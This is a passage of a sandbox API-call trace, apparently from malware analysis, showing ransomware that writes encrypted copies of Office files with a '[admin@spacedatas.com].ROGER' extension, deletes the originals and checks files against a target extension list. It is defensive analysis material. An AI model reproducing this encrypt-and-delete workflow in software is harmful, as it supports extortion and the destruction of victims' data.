lpNewFilePointer=0x0) returned 1 [0045.642] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0045.643] GetLastError () returned 0x0 [0045.643] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x978, lpOverlapped=0x0) returned 1 [0045.644] WriteFile (in: hFile=0x358, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x980, lpOverlapped=0x0) returned 1 [0045.645] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.645] WriteFile (in: hFile=0x358, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.645] SetEndOfFile (hFile=0x358) returned 1 [0045.645] CloseHandle (hObject=0x358) returned 1 [0045.646] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.646] SetEndOfFile (hFile=0x3a0) returned 1 [0045.646] CloseHandle (hObject=0x3a0) returned 1 [0045.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0045.647] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 1 [0045.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0045.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0045.647] lstrlenW (lpString=".doc") returned 4 [0045.647] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.647] lstrlenW (lpString=".docx") returned 5 [0045.647] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0045.647] lstrlenW (lpString=".pdf") returned 4 [0045.647] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.647] lstrlenW (lpString=".xls") returned 4 [0045.647] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.647] lstrlenW (lpString=".xlsx") returned 5 [0045.647] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0045.647] lstrlenW (lpString=".ppt") returned 4 [0045.647] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0045.648] lstrlenW (lpString=".zip") returned 4 [0045.648] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.648] lstrlenW (lpString=".rar") returned 4 [0045.648] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.648] lstrlenW (lpString=".bz2") returned 4 [0045.648] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.648] lstrlenW (lpString=".7z") returned 3 [0045.648] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0045.648] lstrlenW (lpString=".dbf") returned 4 [0045.648] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0045.648] lstrlenW (lpString=".1cd") returned 4 [0045.648] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0045.648] lstrlenW (lpString=".jpg") returned 4 [0045.648] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0045.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0045.648] lstrlenW (lpString=".doc") returned 4 [0045.648] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.648] lstrlenW (lpString=".docx") returned 5 [0045.648] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0045.648] lstrlenW (lpString=".pdf") returned 4 [0045.648] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.648] lstrlenW (lpString=".xls") returned 4 [0045.648] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.648] lstrlenW (lpString=".xlsx") returned 5 [0045.648] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0045.649] lstrlenW (lpString=".ppt") returned 4 [0045.649] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0045.649] lstrlenW (lpString=".zip") returned 4 [0045.649] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.649] lstrlenW (lpString=".rar") returned 4 [0045.649] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.649] lstrlenW (lpString=".bz2") returned 4 [0045.649] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.649] lstrlenW (lpString=".7z") returned 3 [0045.649] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0045.649] lstrlenW (lpString=".dbf") returned 4 [0045.649] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0045.649] lstrlenW (lpString=".1cd") returned 4 [0045.649] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0045.649] lstrlenW (lpString=".jpg") returned 4 [0045.649] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.649] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0045.649] lstrlenW (lpString="WordMUI.XML") returned 11 [0045.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0045.650] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=1800) returned 1 [0045.650] CloseHandle (hObject=0x3a0) returned 1 [0045.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 0x20 [0045.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0045.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0045.650] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.650] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0045.652] GetLastError () returned 0x0 [0045.652] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x708, lpOverlapped=0x0) returned 1 [0045.654] WriteFile (in: hFile=0x358, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x710, lpOverlapped=0x0) returned 1 [0045.655] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.655] WriteFile (in: hFile=0x358, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xea, lpOverlapped=0x0) returned 1 [0045.655] SetEndOfFile (hFile=0x358) returned 1 [0045.655] CloseHandle (hObject=0x358) returned 1 [0045.655] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.655] SetEndOfFile (hFile=0x3a0) returned 1 [0045.656] CloseHandle (hObject=0x3a0) returned 1 [0045.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0045.656] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 1 [0045.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0045.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0045.656] lstrlenW (lpString=".doc") returned 4 [0045.657] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.657] lstrlenW (lpString=".docx") returned 5 [0045.657] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0045.657] lstrlenW (lpString=".pdf") returned 4 [0045.657] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.657] lstrlenW (lpString=".xls") returned 4 [0045.657] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.657] lstrlenW (lpString=".xlsx") returned 5 [0045.657] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0045.657] lstrlenW (lpString=".ppt") returned 4 [0045.657] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0045.657] lstrlenW (lpString=".zip") returned 4 [0045.657] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.657] lstrlenW (lpString=".rar") returned 4 [0045.657] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.657] lstrlenW (lpString=".bz2") returned 4 [0045.657] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.657] lstrlenW (lpString=".7z") returned 3 [0045.657] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0045.657] lstrlenW (lpString=".dbf") returned 4 [0045.657] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0045.657] lstrlenW (lpString=".1cd") returned 4 [0045.657] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0045.657] lstrlenW (lpString=".jpg") returned 4 [0045.657] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0045.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0045.658] lstrlenW (lpString=".doc") returned 4 [0045.658] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.658] lstrlenW (lpString=".docx") returned 5 [0045.658] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0045.658] lstrlenW (lpString=".pdf") returned 4 [0045.658] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.658] lstrlenW (lpString=".xls") returned 4 [0045.658] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.658] lstrlenW (lpString=".xlsx") returned 5 [0045.658] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0045.658] lstrlenW (lpString=".ppt") returned 4 [0045.658] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0045.658] lstrlenW (lpString=".zip") returned 4 [0045.658] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.658] lstrlenW (lpString=".rar") returned 4 [0045.658] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.658] lstrlenW (lpString=".bz2") returned 4 [0045.658] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.658] lstrlenW (lpString=".7z") returned 3 [0045.658] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0045.658] lstrlenW (lpString=".dbf") returned 4 [0045.658] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0045.658] lstrlenW (lpString=".1cd") returned 4 [0045.658] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0045.658] lstrlenW (lpString=".jpg") returned 4 [0045.658] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.659] lstrcmpiW (lpString1=".HTM", lpString2=".ROGER") returned -1 [0045.659] lstrlenW (lpString="MCABOUT.HTM") returned 11 [0045.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0045.660] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=11463) returned 1 [0045.660] CloseHandle (hObject=0x3a0) returned 1 [0045.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 0x20 [0045.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0045.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0045.660] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.660] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0045.662] GetLastError () returned 0x0 [0045.662] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x2cc7, lpOverlapped=0x0) returned 1 [0045.666] WriteFile (in: hFile=0x358, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x2cd0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x2cd0, lpOverlapped=0x0) returned 1 [0045.667] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.667] WriteFile (in: hFile=0x358, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xea, lpOverlapped=0x0) returned 1 [0045.668] SetEndOfFile (hFile=0x358) returned 1 [0045.668] CloseHandle (hObject=0x358) returned 1 [0045.668] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.668] SetEndOfFile (hFile=0x3a0) returned 1 [0045.669] CloseHandle (hObject=0x3a0) returned 1 [0045.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0045.669] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 1 [0045.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0045.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0045.669] lstrlenW (lpString=".doc") returned 4 [0045.669] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0045.669] lstrlenW (lpString=".docx") returned 5 [0045.669] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0045.669] lstrlenW (lpString=".pdf") returned 4 [0045.669] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0045.669] lstrlenW (lpString=".xls") returned 4 [0045.669] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0045.669] lstrlenW (lpString=".xlsx") returned 5 [0045.669] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0045.669] lstrlenW (lpString=".ppt") returned 4 [0045.669] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0045.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0045.670] lstrlenW (lpString=".zip") returned 4 [0045.670] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0045.670] lstrlenW (lpString=".rar") returned 4 [0045.670] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0045.670] lstrlenW (lpString=".bz2") returned 4 [0045.670] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0045.670] lstrlenW (lpString=".7z") returned 3 [0045.670] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0045.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0045.670] lstrlenW (lpString=".dbf") returned 4 [0045.670] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0045.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0045.670] lstrlenW (lpString=".1cd") returned 4 [0045.670] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0045.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0045.670] lstrlenW (lpString=".jpg") returned 4 [0045.670] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0045.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0045.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0045.670] lstrlenW (lpString=".doc") returned 4 [0045.670] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0045.670] lstrlenW (lpString=".docx") returned 5 [0045.670] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0045.670] lstrlenW (lpString=".pdf") returned 4 [0045.670] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0045.670] lstrlenW (lpString=".xls") returned 4 [0045.670] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0045.670] lstrlenW (lpString=".xlsx") returned 5 [0045.670] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0045.670] lstrlenW (lpString=".ppt") returned 4 [0045.671] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0045.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0045.671] lstrlenW (lpString=".zip") returned 4 [0045.671] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0045.671] lstrlenW (lpString=".rar") returned 4 [0045.671] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0045.671] lstrlenW (lpString=".bz2") returned 4 [0045.671] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0045.671] lstrlenW (lpString=".7z") returned 3 [0045.671] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0045.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0045.671] lstrlenW (lpString=".dbf") returned 4 [0045.671] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0045.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0045.671] lstrlenW (lpString=".1cd") returned 4 [0045.671] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0045.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0045.671] lstrlenW (lpString=".jpg") returned 4 [0045.671] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0045.671] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0045.671] lstrlenW (lpString="DATES.XML") returned 9 [0045.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0045.672] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=8918) returned 1 [0045.672] CloseHandle (hObject=0x3a0) returned 1 [0045.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 0x20 [0045.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\smart 